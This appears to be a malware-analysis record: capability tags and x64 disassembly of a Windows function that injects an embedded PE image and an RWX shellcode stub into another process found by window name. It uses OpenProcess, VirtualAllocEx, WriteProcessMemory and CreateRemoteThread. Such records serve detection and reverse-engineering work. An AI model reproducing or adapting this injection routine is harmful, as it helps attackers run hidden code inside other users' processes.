Function at 0x140001080
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Parse pe header
Spawn thread to rwx shellcode

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140005040]
xor rax, rsp
mov qword [rsp + 0x58], rax
lea rdx, [0x1400033b8]
lea rcx, [0x1400033c0]
call qword [sym.imp.USER32.dll_FindWindowA]
xor ebx, ebx
lea rdx, [rsp + 0x50]
mov rcx, rax
mov dword [rsp + 0x50], ebx
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
cmp dword [rsp + 0x50], ebx
jne 0x1400010f2
xor r9d, r9d
lea r8, [0x1400033d0]
lea rdx, [0x1400033d8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea eax, [rbx - 1]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140001380
add rsp, 0x60
pop rbx
ret
mov rax, qword gs:[0x58]
mov edx, 4
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x1401f3800], eax
jle 0x140001150
lea rcx, [0x1401f3800]
call fcn.140001448
cmp dword [0x1401f3800], 0xffffffff
jne 0x140001150
lea rax, vtable.loader.0
mov qword [0x1401f3810], rbx
lea rcx, [0x140002400]
mov qword [0x1401f3808], rax
call fcn.1400016e8
lea rcx, [0x1401f3800]
call fcn.1400013dc
mov r8d, dword [rsp + 0x50]
xor edx, edx
mov qword [rsp + 0x70], rbp
mov ecx, 0x1fffff
mov qword [rsp + 0x78], rsi
mov qword [rsp + 0x80], rdi
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x1401f3810], rax
cmp rax, 0xffffffffffffffff
je 0x140001284
mov ecx, 0x1ed400
call fcn.1400013a8
mov r8d, 0x1ed400
lea rdx, [0x140005d10]
mov rcx, rax
mov rdi, rax
call sub.VCRUNTIME140.dll_memcpy
mov eax, 0x5a4d
cmp word [rdi], ax
jne 0x14000127c
movsxd rax, dword [rdi + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14000127c
mov ecx, 0x8664
cmp word [rax + rdi + 4], cx
jne 0x14000127c
mov rcx, qword [0x1401f3810]
xor edx, edx
mov r9d, 0x1000
mov dword [rsp + 0x20], 4
mov r8d, 0x1ed400
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, qword [0x1401f3810]
xor edx, edx
mov r9d, 0x1000
mov dword [rsp + 0x20], 0x40
mov r8d, 0xc50
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, qword [0x1401f3810]
mov r9d, 0x1ed400
mov r8, rdi
mov qword [rsp + 0x20], rbx
mov rdx, rbp
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x1401f3810]
mov rdx, rsi
test eax, eax
jne 0x1400012c7
mov r8d, 0xc50
mov r9d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [0x1401f3810]
mov r9d, 0x8000
mov r8d, 0x1ed400
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call fcn.1400013a0
xor r9d, r9d
lea r8, [0x1400033d0]
lea rdx, [0x1400033e8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov eax, 0xffffffff
mov rsi, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140001380
add rsp, 0x60
pop rbx
ret
mov r9d, 0xc50
mov qword [rsp + 0x20], rbx
lea r8, [0x1400050c0]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x1401f3810]
test eax, eax
jne 0x1400012f2
mov rdx, rsi
jmp 0x14000124e
mov qword [rsp + 0x30], rbx
mov r9, rsi
mov dword [rsp + 0x28], ebx
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rax
mov edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x1401f3810]
mov r9d, 0x8000
mov r8d, 0xc50
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [0x1401f3810]
mov r9d, 0x8000
mov r8d, 0x1ed400
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call fcn.1400013a0
xor eax, eax
jmp 0x1400012a2